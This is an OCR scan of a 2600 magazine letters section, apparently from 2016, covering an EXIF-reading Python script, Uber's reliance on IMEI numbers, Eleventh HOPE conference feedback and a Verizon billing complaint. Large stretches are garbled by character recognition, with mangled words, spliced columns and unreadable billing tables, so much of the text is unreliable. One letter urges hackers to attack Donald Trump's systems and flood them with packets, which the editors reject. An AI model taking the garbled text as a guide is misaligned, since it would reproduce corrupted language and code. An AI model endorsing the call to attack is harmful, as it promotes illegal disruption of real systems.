there being not C'l'<'ll u thin/v l'eiled altempt w tte 
this imo thl' lwcku world. And the po.nibilitil•s 
are definite•/.\· thae. Yim could /101'1! a toothlmt.\h 
that al.w opaa{('.\ a Tor exll node. Or 0111! thlll 
runs enurl'ly on 1.11111.\. flow about a wothbmsh 
that hook\ inw h1•iuer and lets the 11·orld knoll' 
you're• hrulltinK corn•olv or incorrecr/y' Tlli.1 
alone II'OIIld dri1•c• 11p the com·erscuion qualityfor 
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10 matt)' uwrs. The poi Ill i.1 there are ways w II<• 
<·remin• and rdt•mtll, £'1'<'11 11 iTh to01hhrushe.1. 
Dear 2600: 

I rec�:1ved a notice !rom Zinio that had a 
voucher with the remaining balance of my .,ub­
-.cription to 2600. to be used for other maga7 ines 
on Zinio. There was noc\planation! What do I do 
now'! I have no usc forZinio other than 2600! The 
nea rest 2600 Magcdm• �tore is 50 miles away! 

BigGu)" 1000 
\\1t' rml/.r c/ic/11'1 IHIIIT il TO COI/II' TO This bill 

/.inio ju.11 Wtt.111'1 working out for 11.1. Their fen 
11'111/tu/ ufl 1"11.\ling us mon• than lhe\' w<•re payi1111 
11.1. /t:� ab.\ltrcl w expt•ct p11bli.1her.1 w itHe mmll'\' 
1111 1heir Hllcm. \lit> J.:lll locked i11111 a rhree·yl'ar 
comrac/ with /hem a11tl 1hmugho111 11 ••·e hope<! 
1ht'ir perjomuu1ce would improl'l', Ina it didn l. 
/he facl lh(l( lh<•y won'/ ofjl•r \"011 a rl'jllnd .I[Wllh 
l"ttlumes. 1'/co.\e chec/.. 11111 our otlu•r digiwl OJI 
timr:. on our ll't•bsite. 

Following Up 
Dear 2600: 

I ha\c an tssuc w1th the ;.niclc "b.1f Location 
Rccon with Python" in the Spring 2016 issue. I 
don't know where to �tart with this piece. 

Wc'll .,tart with the positives. which i'> that the 
author notes what wcbSJte� \trip exit data before 
mal-.ing the 1111ilgc publu;. That·, where the useful 
information cntb. 

I .  Ther..: arc so many tools to dcc1pher EX IF 
data from Jf>Cgs. Maybe if he ��a�n·r using Win 
dow.,, he nught have J.nown aboutjhc;�d and pcrl· 
cxiflool. 

2. The Python code he gave provide; no ne'� 

functionaht}' It is snnpl) printmg information 
from an ex1-.t111g eltif lihrary in Python. There arc 
a few of thc:se. 

3. The code he pnl\ idcd is really really bad. 
Not onl) 1, 11 had. u·, \OIIIit-indt��.ing had. 

a. Pathn:une is hardcodcd. Not even a vari· 
able at the top, far less parsing user 1npul. 

b. Nested il-clse l1x>ps. No really. clif cxiMs 
m Python. nn excuses. rhis is basic Programming 
10 I .  Fail. It e<mnot be under�tatcd how terri bad 
this is. 

c. No shebang. I J.now he's a filthy Windows 
tN!r. but ;ull 

d. Mal..cs note about convert mg. degree� con­
\Cnlional into degrees decimal, but no code to do 
so. 

1mport �ys 
import ex1fread 

filename = "hello.jpg" 
II command line file name 
if lcnhys.argv) > I :  

filename = ;ys.argv[l] 

//read from the file 
in File = opcn(filename,"r") 
tags = exifread.proccss_filc(inFile) 
inFilc.closc() 

//pnnt the tags. 
for tag 111 tags.kcys(): 

print(tag + "\t" + tags[ tag I) 

And bam. Was that hard? 
GJ mothcrfucking Jack 

01herwise OK? 
Dear 2600: 

It truly is shod.tng that Uber would usc the 
IMEI in an attempt to ensure that a first-time 
customer only gets one free ride (33:2). Sure, 
an IME! is "supiXl�ed" to be unique and never 
changang. But it\ a bunch of ones and zeros in 
memory. so of cou�e it"s not that difficult to 
change - in theory. Phone manufacturers are sup­
posed to make this difficult. but ::;ome don't even 
bother to put a unique number in there in the liN 
place (hut don "t buy one of these phones because 
if the I MEl is all zeros. millions of other dudes 
and dudcttes have already Ubcrcd you). 

Pantoja·.., advice to Uber to validate the I MEl 
h wrong because there is no way to do thi� Let 
me destroy all three possible methods in se­
quence. 

FiN of all.ched,ing the chcd. digit b a loony 
idea because it\ generated by the Luhn algonthm. 
which 1s trivial. The same algorithm is used to 
generate the 16th digit of a credit card number. I 
won't even bother to point you at a website to tell 
you hO\\ to do this because that would remove all 
challenge from your life. 

Secondly, you could check the IMEJ against a 
list of all valid !MEl-. from phone., as they came 
off the assembly line. This doesn't work because 
there's no such list. And secondly, even if there is. 
you could just randomly pick an I MET that is on 
the list and the chances are it wouldn't have bcen 

c. In addition to the rn<tnual print statements. used lor Ubcr. And 1f you fail once. tl). ll) again, 
the code is pretty poorl} fomutted. young person. 

Let\ sec 11" I can ch:<tn up that Python a htth:. Th1rdly, you could use the ::;ecrct key a\\0-
#!/usr/bin/cnv python) ciated with the IMEI to challenge the phone to 
# r.:ad exit data produce the right response to a random number, 
II Jthi�saipt.py <filename> ju:.t liJ...c i' done with the IMSi that\ stored m thc 
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Sll\1. not the phone. Greal idea' Wonderful! E;..­
cept there is no �uch 'ccrct key 

B<L\ically, Uber is �rc\\ed af they lo.ccp rely­
mg. on IMEI. Meanwhile. enjoy the ride. 

DhrOc 
Dear 2600: 

I would like to malo.e a comment on one �mall 
piece of your editorial in 33:2, although it could 
apply in several places. You �tatcd in part ''If 
Trump had been in power when Apple Mood up 
to the FBI"s demands to crack their own security 
thi\ February. the outcome could have been very 
different."" My comment about thiS paece of the 
editorial i' ··-.ince 2600 " able to predict the fu­
ture, 16()() should be buying lottery tickc� ... 

Henri 
Nice. £rcept we were autwlly <·ommellling 011 

a hypothetical past in the t•.wmplt• you cite. We 

predict that won 't really IIUIIII'r to you. 
Dear 2600: 

The code for the Autumn 2016 edation is still 
not on the web yet. You promised me in your mag 
that it would be put on the web a few weeks back! 

Loolo.ing forward to the code. Still love your 
mag. 

Darren 
Seeing as how thi

.
1 i.1 th<• ,\ut/111111 2016 issue 

thm rou 're reading, it:l a bitlm'.llllllflllmus to as­
Still!<' that we don't lwn· tlu• emit• up n·t. Bw its 
a good guess. 

We really don't like breaking promises bw 
with all we \·e been doi11R latl•f.v, it r·tm he wl­
lll'oidable. Now that the co11}in•nn• is over, we 
hopefllll\' will have l'liiiJ.:III Ull 011 1'\'l'r\'thinJI by 
tlw time you read this. If 1101. 11'1' erp1•ct another 
reminder. 
Dear 2600: 

Hello. 
Did you read Ill)' la't email 

STEPHEN 
No, but you can bl'l ll'l''rr 1/l'lting a kid.. out 

of tlus one. 
Dear 2600: 

This is in response to Steven 111 12:3 rc "the 
for.:nsic computer tech used d:lla recovery soft­
ware called EnCase .... " The FBI in my botnet 
case used a program called IRTK (Incident Re­
�ponse Tool Kit). It is al-.o not uncommon for 
go\emment agencie� to share n:-.ourcc\ �uch as 
the� with. say. a subcontr..actor. One of the spe­
caal agents assigned to m) c;l\e wcmll} boasted 
to me once that he intended on U\lng IOAPro 
to disas..emble the bot I w'" using IDAPro is a 
commercial disassembly tool. 

Ghost E:�.odus 
Dear 2600: 

I cannot believe you publtshed the photo of 
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the 2600 Gue-.t llou..e Motel. I was literally about 
to ..end it in and it was perfectly framed and I can 
tell you the exact location: 2600 W. Bryn Mawr 
Avenue 111 Chicago I cannot believe I missed the 
boat on th1�. I was going to send it in this week. 
Fuel.. 

Claneularius 
Think of it thi.1 way. Ytmr tale of misfonwre 

ha.v prolmbly J.:OIII'II dozens of people of]' th<•ir 
asses and out 11/klll!{ piclllres of 2600-re/mt•tl 
la11dmark.\ /)(fore .1omebody else gets rhea• fir.lf. 
Phoms ll'ill l>e wken and primed when they oth­
em-i.\r miJ.:III IWf lull'l' hrrn PhLV you grt rn hm•r 
tl Ieifer primed Thing.\ aren i so bad. 

Acknowledgment 
Dear 2600: 

My newest is-.uc arnved today. r lol'e the trib­
ute to Glenn Miller on the front cover. 

Squceling Sheep 
/t:1 actually a tribllle to Glen Miller payilrJ.: 

tribute to the I lord Pennsyll'llnia in pre para· 
tionfor the 1/0Pr: ctmference. Bill thanks all thl' 
SWill'. 
Dear 2600: 

Any chance that those full-sized posters of the 
maga1ine cover image will be for sale'? I would 
pa} top dollar for one. 

M 
Perhaps tf t•nough people express 1111 imerest, 

we nm e.tplllrt' thtll. The summer co1•er did ,\{'1'111 
to h•ntl itwlfw tlti.1 and we actually had a 1111mher 
ofpo.\ters 011 displa\•lll the HOP£ conferena in 
July. 
Dear 2600: 

Just wanted to say that I think my favorite 
pan of reading your mag:vinc is the re�pon-.cs to 
people'-. letter.. You guy� mck! 

PC 
Aml11m1· Will wmrll'/flzlll·e o response to your 

leuer. 1/ou /111'<'.10111(' i.1 thm? 
Dear 2600: 

"/lop<' .. i.\ tilt• tlung with feathers ­
Thm p<•rch<'.\ in the soul -
And si!IR.\ the IIIII<' ll'itlzout the words -
And 111'1'1'1 .lfops - m all -

And Jll'l'i'I<'S/ in the Gale - i.r heard ­
And Sllrl' 1/111,\f he th1• .\1/lr/11 -
Thor could ahtllh tile lillie Bird 
Thm kept w• numy ll'arm -

I'H· Itmrd it in the chi/lest /and ­
And on the \lrtmge.1t Sea -
ti•r - nc1·u in f\tremit1·, 
It ll.f/..t'C/ /1 crwllb - of me. 
-Emil\· Dic/..iu.\!111 
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I couldn't re�ist sending thi!>. Sec you at 
I lOPE! 

Nlll\1 
And don I !It ink Emily woulclll '! lrave bec•n one 

of our choice.\ for 11 HOPE kt')'J/1//e had lite limmg 
worked out. We jus/ would ltavc• lwd 10 clear up 
tlte issue of/lOP£ being !Itt· !It in�? withfealltcn. 

victorious. Way diirker. Read some history, watch 
some documentary tilm-. about Stalin and Hitler 
Senou'l} contemplate the tmplicallon ... of ha\ ing 
Trump :t... the mo.,t powerful political chair in the 
world, and specitically what he could do to the In 
ternct, to freedom of speech, and to anyone who 
embarrasses him. Swnd up to the Trump? Speal. 
out of line with the Trump? Hacker? Leaker"? 

Political Intrigue WhtMlcblower? Freedom fighter'! Snowden sup-
Dear 2600: poner"l You're fired! Oj)"wilh your lll'ad! No. we 

In regard� to the potential for Trump to be- cannot allow that to happen. 
come lhe next POTUS. my liN t..nec jert.. re- And to my brother� and si,ters with a ter-
sponse wa.' deep belly laughter. "Hov. could mmill and thm curiou\ obsession that \\C love ... 
an} levelheaded • ...cmicducated. adult Amencan mayl>c point a few (mtllion) packeh in Trump\ 
take this horse's ass from a crappy TV show se- dircctton. If it's OK for him to m.k Russia to help 
riously?" I thought. It was soon apparent that I had. hi'> political riv<�h. 1 sec no reason why I 
had given my countrymen too much credit when shouldn't a�k my brethren of lhe command line to 
II comes to br.tin power. Frightenmgly apparent. hack th:ll molherfucl..er all day and night until we 
Over lhe summcr.the country ha ... seen Trump flat find ,omething that will prevent him from getting 
out disrespect the family of a filllen soldter, reach elected. There has to be something on the other 
out to Russia in a way that essentially asked them side of those Cloudflares lhat can expose some 
to hack Clinton (days later the DNC leak., hit the real truth about Mr. Trump. l"m sure Wikileak\ 
net. in case anyone forgot). and offer up the idea would l>c happ) to host it  for us. 
that ""Second Amendment people" may hold the pink 
\Oiution to preventing Hillary Clinton from ruin- //:� impor1an1 to he }itcllwlly ac"cl/ra/e on !ltese 
ing the country. Not to mention the countless hun-

iS.IIIc',l. The DNC leak occurred a fell' dayJ before 
drcds of lie\, shitty comment.. directed at women, 

Donald Tnmtp \ famo/1.\ qu01e which .1eemed to 
the racism. the \\all that Mexico i' absolutely one be ll.lkitr� for R11.1.1ict \ help in gcllmJ? acces.\ 10 
hundred percent going to pa} for ... LMFAO 

mort• of Hillary Climon :1· email.\. At !he lime of 
All I can do is laugh to cover up the outright 

11ti.1 ll'l"iling, Ru.1sia lwsn "l delivert•d, nor ltm·e 
rage that boils my blood while entertaining the 

1/rn• gotlen their lwnds on Trump \ ten rl'lum�. thought of thts childishly irrmional sociop:llh 
•t•tu•lly becomt" tt" the ne•t pr "t

.
dcnt (and tX>n B/cwing Trump off I he net may hritrg you a ,c .. " � "·' s 

after. supreme dictator) of this country. bil of \llli.\faclion. hul wc• promi�e " "ill be short 

Let"s not get it twisted here. I don "t claim to lived. Dc•t�ial of Sen·ice tlllach arc• for tho.\e 

'peak for everyone. But throughout the years, 1 lrilh 1111 imaf{illatiou who lral'e run 0111 of acwal 

have built up a good relationship with a lot of oth- poi11t.1 w make· And in this ca.1e. i1 would acllt 

cr individual!. tn the hacker community. In gen- allv worJ. againsl Will. Firw. you'd he making him 

eral. there arc a few thing\ we (generally) agree !he 1"/Ciim. ll"hkh would probably gain him more 

on, like: We don't hate our country. we hate the ·"tpporl tlra11 Ire coultl gc•t on hi.\ 1111"11. More im-

govemment. We don't hate soldiers doing their porlolllly, do you really wam 10 .\lilt/ people like 

job�. we hate the reason� they ;trc called on to !hi� up? If wm're lookill!! to make 11te poifll !hal 

idiotic wars. The Internet t\ the l:l\t true ba,tton a parlicular [{roup of imlil·icluals i� nmtprised of 

of freedom that we have at our dl'po!>al. and \he lrrall/.\, raci.ws. and lmllie.\, 1lre11 flu• bt•.w way 10 

i' ours to defend. The NSA and il'> sister alpha- clear/v illu,wrate !hal 1.1 /0 simply let 1hem wlk. 
bet agencie�. programs like PRISM, and the ever Tlu• real problem here i.l"ll "l Tmmp. lle"s mere-
expanding rna's da ta grab/domestic i.pying they Ly a .1ymplm11. //e:1 acllwlly dmu• more 10 show 
execute on a daily basis i\ utter bullshit. Edward us !Itt ugliness !Ira! .\/ill exis1s in our COimlrY. 
J. Snowden " a hero. And we all hate Microsoft... far bt·m·r 1/tan 1/rme who lu11·e bee11 1n·ing 10 do 
but that"s a rant for another time. Trump c;mnot thi.\ }in decades. ReJicmlle.\s of whttl happem i11 
be the next president. Na1·emb('l", !here will .Ifill he mil/iolls of It is sup-

l'm not a religious guy. but if the re arc goth por!c•r.\ o111 11tere wlro beliel'e in whmlte says - or 
in the space above eanh. I pray to them that the wlto arc at /eas1 willm.r: wfollow no mauer wlra1. 
people in America. my country. don't make the Thmu�ho11llrismr�. if\ 11w1 memalitl· fha!ltru led 
choice to elect htm. We all know the cho1ce' we 10 ,1(1/lll' of the darJ.e.11 periods we 'l't' t'l'er faCI'd. 
have are not great on either �•de. but I would have And now we ca11 clearly see 1/wl ll't' 're 1101 im 
to say lhe future look'> so much darker ifTrump is mu11e fmmfosterin� 1Im rig II/ lterc• ell home. 
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Mass movemellls rhar have fear tmd hmred as 
their backbones can spring up anywhere. Ir:1· a 
real danger bur ir:� also an opporruniry. We cafl 
ar leasr realize rhar we're stronger when we srand 
roger her, even when we don 'r agree on everyrhing. 
Facrions and divisiveness are rhe means by which 
rhose who mdy oppose your values gain rracrion. 
often wirhour your even realiziflg ir unril ir :� roo 
/are. Fortuna/ely (for once). the elecroml process 
in this coufllry dmgs or1 forever. which has given 
us ple111y of rime to fighr back wirh words, logic, 
and fwmaniry. Ler's all hope thM's enough and 
thai 11·e don 'r squander rhi.f chance ro make a loud 
srarement as 10 who we are and who we aren 'T. 

The Eleventh HOPE 
(Note: These lerrers were sent /a our feedback 

address for The £/evenrh HOPE but we rhought 
rhey would be of imeresr to readers. Since we 
didn 'r explicirly rell writers rhar the.�e commellls 
mighr be printed, we have omilled names.) 
Dear 2600: 

I have only physically been to one HOPE. 
the very first one. Thank you for streaming the 
talks this year. They were great. infom1ative. and 
helped ease the loss of not being there. 

The Eleventh HOPE Writer I 
We're happy ir worked 0111. For the first time, 

we actually had ro encourage people w see the 
talks from remote locations as our space was w 
capaciry. Knowing the talks are being seen all 
around the world makes HOP£ l!l'en more special. 
Dear 2600: 

Hello all! Were any of the talks recorded? If 
so, when will they be posted? Thanks! 

The Eleventh HOPE Writer 2 
Yes. in fact all talks in rhe rhree main tracks 

were recorded. We 've gone through them all, 
made rhe video look as good as possible. and 
have archived them to the besr of our c1bility. 
Check our house ad in this issue for info on how 
to get your own copies in non-DRM format with 
unlimited copying ability. As is our tradition, we 
also have audio recordings of each talk available 
for download at the xi .hope .net sire. 
Dear 2600: 

This was my first HOPE. and I'm sad there 
won't be one next year. I didn't want it to end. 
I came home draped in Ethernet cables and my 
honorary Crew shirt and badge. and I could hard­
ly take it all off. But ... it's been really hot and 
muggy. Anyway, great job, I'll be volunteering 
more next time. 

A couple things: 
At a workshop where we were discussing the 

code of conduct and building a safe culture. there 
was mention of the fourth track talk someone 
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had wriucn in called "Milo Yiannopoulos: femi­
nism is cancer ... The official understanding at the 
time wa� that this was probably a troll and not a 
serious talk, but someone would be on hand to 
monitor it. What ended up happening there? We 
discussed whether this was an a priori CoC vio­
lation, and some people thought so. The person 
present from the CoC c.:ommiuee (I didn't get hb 
name. ! came late. he had mostly-purple hair) was 
ccrtajnJy concerned about it. but was willing to 
enter tain that maybe the speaker was just trying 
to be provocative and would say something good. 
I can sec that possibility, but even so. this is not 
appropriate to me. I'm new here. but the vibc I 
got the rest of the time did not seem in line with 
that being funny or OK. 

This is less serious. but I'll mention it anyway. 
I'd rather we didn't waste two houn. on RMS. I 
know he's done a lot of good. and a lot of people 
still want to hear him. but I personally would have 
preferred that someone (two someones!) more in 
touch with reality get that time. No one made me 
listen to him. so I didn't. but I caught a snippet of 
his talk on the screen outside. The phone thing 
was just too far for me: he doesn't carry a mobile 
phone because they can track your location. and 
he asks people to use theirs if he needs one. What 
a privileged asshole. He's having his cake and 
eating it too, in a way that would be genuinely 
unsafe for major segments of society. I overheard 
some other people feeling the same way about 
that biL I think Lhat time would have been bcuer 
spent on someone from the universe the rest of us 
inhabit. I know he's a polarizing guy. so maybe I 
just pissed off someone else with this. Oh well. 
my two cents. 

Overall though, I had a great time, for real. 
Thanks for making it happen. See you in 2018! 

The Eleventh HOPE Writer 3 
Our fourrh track has rraditionally been self· 

goveming. Controversial 10pics are encouraged 
and we have fwd p/enry. Tlw.w rlwt encourage 
hate or 1•iolence t1re clearly 1101 in line with what 
our comm1111iry is abolll and we would take steps 
to pre1•ent something like that. Thi., particular 
ririe on its own wasn't enough to merit such a 
response so we feel our CoC team acted in the 
right way. 

And say what you will about Richard Swll­
man. but he provokes discussion. J1u11 :s wlwr he 
did at the conference and thm:� what he did in 
your feller. We ore always beuer off for rhinking 
abour issues. 
Dear 2600: 

This was my lirst time at HOPE. coming all 
the way from the Dominican Republic. The event 
was very interesting. very punctual, and orga-
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nit.ed. Ovcmll, I liked it a lot. Loved that lOGbps 
I ntcmct connection' 

Some recommendattons: 
I .  Filled h:11ls - I could not participate in vari­

ous presentations. I think it was over capacity. 
2. Would be nice to have a cnffcc and snack 

bar maybe 111 the vendor area to avord havmg to 
leave. 

3 . 1 thlnk it would be interesting to have trucl..s 
such as a social engincering track. a freedom 
track. a phy�ical security track. etc 

It's my fif\t HOPE. and I HOPE to be at the 
next one! 

The Eleventh II OPE Writer 4 
While wme talfo were quickly filled. ••·e cmr't 

lwse al/t'IUimrce limit.\ wlely em those. Other 
wlks /rave• space and at no time u·a.\ rlre entire 
••enue m·er c·apacitv. We am 'r �rummtee tlrar 
e1•ery•one will crlwa.n he• ahle w �e·t into the talk 
that the_\' wall/ ro at/(•1111. But ••·e c·an guarmrll'<' 
there will always be .wmNiritrg rlrey can do at tire 
conference and, with ow· network abilities. it will 
alll'ays he po.Hible /II .Ice• wry wlk CH it\ happnr­
ing, ertlrn in em o•·e•rjlm•• are(l or rm a per.lfmal 

dc••ice. 
We'1•c rritod snack bars in tire• pasr bill they 

clmr't tend to work hc·cwr\e of (II/ of tire actn·itl 
immediciiC•il emtsidc· tire hotel. Occmionally lew·· 
ing tire l't'lllll' is good for wm as /on� as you don't 
stay all'll\'for too long. 

We'1·c· also thought of h(ll•ing tlremed track\ 
cll'er the .rc·ar.\. Tlu· rt'.\1\latlt'e w tl/1.\ come.\ from 
rrlnawrn• m labelm!l talk• w fit 11110 a partic11lm 
track. Many speakcr.1 hl'iie••e thn•jit imo multiple 
themes or tlrat thetr m/J.s aren 't .w e•asily defined. 
We al.w like w mi 1 it up a bit .10 tlrat people are 
e.1posed lfl differe/11 fll'l'.\f1l'Ctit·el cmcl .11rbject mtll 
ter. It also encoum�e·.• people to mm•e around. 

Tlurnlofor writinK and for allcnding. We alw 
hope you make it to tlrc next one 
Dear 1600: 

It was my first I lOPE. and my lirst hacker 
conference, und my liN time in New York City ... 
and it \\,1\ great! It felt very ca\ual and relaxed. 
which " mcc for :1 hN ttmcr like me. 

I spent most of the umc watching the talk:., 
mainly because rm not too conlidcnt with my 
English �kills. So anything that required more 
talking on my �ide than just �aying "hi" wa� dis­
carded. l;.vcn then. l  really enjoyed the conference 
and I'm already look•ng forward to the next one. 

The humorous style of many ut the talb was 
rcall) CnJO)abJe (e.g. "Hackmg Sc�"). and ohhh 
shit, RMS is just so funny! 

It's great to sec that even when the world is 
so fucked up. there is HOPE in Nc\\ Vorl. City. 

The Elc.enth IIOPE \\ritcr 5 

Tlre•n• is no laiiJ.riiCige gap lrere at all. 
Dear 1600: 

The Eleventh I lOPE. gone too soon. Awe­
some con. folks. I can't believe it's now going to 
be another two year\ of waiting. 

Here\ my liM of goods and bads, high� and 
lows, should you be so interested: 

The Great: Segwnys. Deep Web by Alex Win­
ter (Titm was Bill! lloly crap!), David Goren, and 
pirate radio. Mark Fahey - this dude should be 
a requirement at every HOPE:. con. Abo. props 
to security for gelling those morons off the roof 
witlrmtt hnndcuffs. Lc sigh. 

Tire Good: Smooth transitions between tracks. 
one of the most intcre:.ting closing ceremonies 
ever, social engineering (natch), Club-Mate!!! 
(Still saving a bottle so HOPE never really ends.) 

Tlrl' Melr: Phonchcnge and Retrotech ... did l 
mis� them? I swear I was lookrng for them! 

Tlrc• Bad: Deep Web was awesome and I'm 
sure li'trceroute was equally great. though I didn't 
get to sec it. But no Joybubbles doc? I've seen 
Citi�e,four, but oh well. just nitpicking here. 
People '>hould get out and make more mov•cs so 
you have more movies to show! 

Tire• Ut:ly: Ah. okay. my one real complaint. 
The photography policy. A magazine with covers 
ridiculing the not ton of not bcmg allowed to take 
photographs. and Llp�ct Lhat Miramax wouldn't 
let them lilm in their lobby. inside a hotel with 
camera\ e�·erywlrere says no pictures? I u\cd to 
love lool-mg at photo galleries from past HOPE.'>! 
I know, you could take pictures a;. long as you got 
permission ... but, l dun no, something about it just 
really irked me. To be honcst. l thought thc policy 
was a JOke - and would still tlunk that if it hadn't 
been reiterated throughout. 

All in all, though. one of the better I lOPE 
cons I've attended. I'd love to sec more techni­
cal tail-s. but then again. maybe I should gi1•e a 
tcchnrcal talk before I complam. I loved hearing 
from the Radio Statler guys as well... did I hear 
them say they'd like to get other personalities on 
the a1r'1 Hmm. 

Agam, a\\'esomc JOb. Peace' 
The ElevcnCh II OPE WriCcr 6 

1'/umks for tire review. 71re r<'lroteclr di.1play 
wa.\ tlrue 011 Saturday a11d Sunday bill not Fri­
dny. Per/raps thcl/ 'l II' hen yo11 were look inK for it? 
As for Pltonehen1(e, 1/tm display was accidt•n{(ll/y 
constnwtc•d in millimeters rmlter than mefers 
due w a trcmscriptimr error. Ycm had to look re­
ally lrurd to see it before someone accidemully 
stepped 011 if. 

We ctmfdn't slrow the Joylmbble.\· documema­
ry hrnruH' it wctlll't finished vet. Yrm ccm'f recrlly 
blame 111 for that. 
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The photography policy is fairly standard 
and based on what allendees have requested. 
We try to be as accommodating a.\ po.1sible ("no 
pictures" doesn 't summarize it accurately). Tak­
ing pictures of individuals without their consem 
is something people tend to object to. It should 
actually go without saying and perhaps by saying 
it we drew ttndue allention to il. We're open to 
suggestion on how ro handle this beuer. 

Keep checking the generic lwpe.net site for 
more info on how to get involved in fuwre confer­
ences. Tlumks for wriring! 
Dear 2600: 

1 couldn't aHend The Eleventh HOPE because 
I'm unable to ente1· America at the moment, so 
I wanted to thank you for streaming everything 
online and the effort put into Radio Statler. From 
watching online and following along on Twitter, 
1he even! seemed much more diverse than other 
conferences [ have been to recently. Well done. 
and hopefully I'll be able to get to the next one. 

I know people give you problems for the vid­
eos being in Flash format, but hey - i1 does the 
job for people like me who can't attend in person. 

Many thank>. 
The Eleventh HOPE Writer 7 

Yeah. we have to put format complaints aside 
after a while since the priority has to be pointed 
at gelling the job tfone. Flash worked for the 
live streaming. Now we'1•e got MP4s and DVDs. 
Everything is downloadable and has no copy 
restrictions so conversion to different formats is 
possible. It wok a mowh of solid work after the 
conference to make this all possible so we hope 
people appreciate that. 
Dear 2600: 

We attended !he convention on Saturday. It 
was great, as usual ! When will audio versions of 
all talks be available online? 

The Eleventh I-lOPE Writer 8 
Audio links are already up on the xi.lwpe.net 

site next to each talk description. 
Dear 2600: 

I finally decided to get off my ass and send 
you feedback about the conference. It was great! 
rve been a reader of 2600 since I was in middle 
school (abou1 20 years ago) and for a long Lime 
I've wanted to come to the conference, but due 
to Lime and money I couldn't make it happen up 
until !his year. 

I had never been to New York, so l lhe only 
ideas I had about the city were from what I'd 
seen in movies or on TV. I was a liule intimidated 
about the idea of visiting. but decided I should :11 
least visit once in my life. New York is nothing 
like I thought it would be. The stereotype of New 
York City is that people are rude. but I didn't find 
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this to be the case at all. Most people I ran into in 
the city and at the conference were really friendly. 
No one wa� judgmental or rude - everyone wa� 
there to just have fun and learn some new things. 

I thought the conference itself was really well 
org<mized. 1 think you guys did an excellent job 
keeping speakers to schedule. making sure people 
knew where to go. and keeping people up to date 
with any changes. 

(Speaking about the conference and the net­
work - at the closing ceremony your network team 
had mentioned that there were a lot of people us­
ing open Wi-Fi instead of a secured connection. 
Was this maybe from people who were not con­
ference attendees (other hotel guests or people on 
the street who found the unsecured connection)? 
This might explain the large amount of Pokemon 
Go users. Just a thought I had.) 

My only complaint - when I got home I 
wanted to watch some of the talks l missed on 
Livestream. I was disappointed !hat some of !he 
recordings were missing or still processing (like 
Steve Rambam's, for instance). I appreciate that 
the Internet Society takes the time to an.:hive the 
conference, but I 1hink Liveslream is a terrible 
platfonn for this. The Livestrcam player locks up 
(on my phone), and when the video docs decide 
to play. sometimes the audio doesn't work either. 
Livestream just seems really clunky. 

In the fu!Ure, is there any reason that YouTubc 
couldn't be used instead? Unlike Live.<.tream. 
almosl every device out there natively supports 
YouTube. YouTubc also offers the ability to 
stream live. You Tube just works - they've got it 
figured out. This might be out of your control, 
but it's the only thing that I thought could be im­
proved upon. 

Anyways, I can't believe I waited this long to 
mtend. Two years is a long time! I will definilely 
be at the next one. 

The Eleventh HOPE Writer 9 
We love hearing abollf people who get their 

first New York experience through tt HOPE con­
ferem·e. So much positive energy on that many 
levels can really be life changing. 

Regarding Livestream. it wasn't our decision. 
but we think the whole thing worked ow great for 
the most part. There will rmdoubtedly be people 
who object to You Tube for one rettson or anorher 
- please write to us and share. Our main con­
cern is puning 011 the conference for the people 
who are there. This is the second time we were 
able to puff ojf streaminfl for all of the people 
who weren't there. /11 the end, the setup this year 
helped us to scn·e all of the wlks in HD format for 
the first time. And now they are all available for 
downloading. copying, and converting. There's 
really very linle to complain aballf on thC/1 front. 
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Verizon's HOPE Scam 
It'� tmdition. At every HOPE conference. we get a traditional landlinc for u\ to make phone calls during 
our social engineering panel. Sure. we could usc Skypc or any number of net-based �ervices. But there's 
nothing quite like a good old-fashioned dial tone. And, if we didn't insi'>t on doing this. we wouldn't be 
able to know what our fncnd� at Vcnton arc up tu these day\. And. wow, were we eve· surprbed! 

Turns out installing a phone line i'n't as simple r"· well, in,talling a phone line. At lea\l, not for Verizon. 
Sure, they're a phone company - they used to sorta be the phone company. But what we had to go through 
to get thi'> line installed was nothing short of ab-o rd. There needs to be a stronger word. lnsanel\' absurd. 
Ridiculously so. 

Now keep in mind the fact that they've done this before 
many Limes to the ex:1ct same box. Por all we �now. lhey 
JUSt have to enter a couple of keystrokes to act1vate 11 
Bm the aforementioned tradition mvolves sending a guy 
out to physically check. So that\ what happened - and 
we made sure to send someone out to ensure the guy got 
access tn the room he needed. We got word th:u the job 
was complete. but \\hen we went back to check ourselves 
since we're pamnoid, there was no dial tone 111 the box 
where it was supJX>scd to be! One would thin� they'd 
check for such a thing They didn't. On no less than 
three scpar.llc appomtmems. they euher didn't shtl\\ up. 
&,appeared after showing up. or were unable to figure 
out how to get a damn phone line working in the hotel! 

verizon-1 

Cumtnt Activity 
Monlhlfa....-
711 7131 ......... OWTOI'eCiwgq 27.48 
MonlhiJa....--oLol t27M 
P«dtil Month Olarp�� 
ftl'l1 6130 Moncl'lyOooiTontCiwll" (aklod) 2715 
p., .......... a...___ .2.1S 
an.,....a...-
ftl'l7 One 11mo � U.borCiw""" I« 

lreldoWiolnolallol""'3071116 23000 
Onelb•Ciw-SUI>Iolol t230.00 

And when it was all over and the phone line finally got cu...ntAc�MtyTotal S260.21 
installed nearly a month after this whole thmg started. 
they had already sent us our fir� I bill! But it gch beuer. 
Rather than credit us for all of the time we didn't have a phon�: line. they actually billed us for the service 
calls! Because we had the audacity to keep asking them to linish what they started Apparently. that's 
asling lor something e.,tm in tod.ay \ Veri�on 

Did we JUSt say it gets beucr? Because it get� hcucr still. 

Sec. we literally only needed this phone line for three 
days. But we're forced to pay for an entire month. That\ 
OK. tho'c are the rules and we l..new this gomg 111. It's 
that good old tradition again. But whm we didn't know 
- and ''hat they didn't tell us - i'> thm the} ha\c a liule 
surpnsc for people who don't usc their long d1Mancc 
'>ervicc enough. We \pecifically :�SI..cd for something that 
wasn't cxpen;ive. We'd been hosed before by J\T&T who 
charged us several dollars a minute for a call.just because 
\\C hadn't commiucd to a plan with them. We wanted to 
avoid that scam so we a'>kcd Vcriton to sign u' up for a 
plan where the long diswnce rate� were rcaMmablc. And 
they did! Pennies a minute was what they told ll\. 

Current Activity 
Monthly a.., .. 
1111 8/31 '-rd ''"""'edCollo [Moc.l 

Dol 73 
"' 8131 v .. ,..,l#Vo.-Qwvoo eooo 

•VU>fmf!.ol• Sho!tlall 
Ch"'IIO <979 

•VI.I>II..,.,edc.llo 21 
MonlhfrOwgM-o<al tG0.73 
aw..Ln-
l/2fl 7/31 MoncNyOooiT.,..et.vot<� ·211> 
CllonoolnSonlc•SUbto,.l 42.75 
CUrrontAclivltyTotal $47.88 

VU>i.MoO..--awo. 06 
..... P..,.,_Ciwolo &00 

T otat Vwizon SurcMrgM end Olhor 
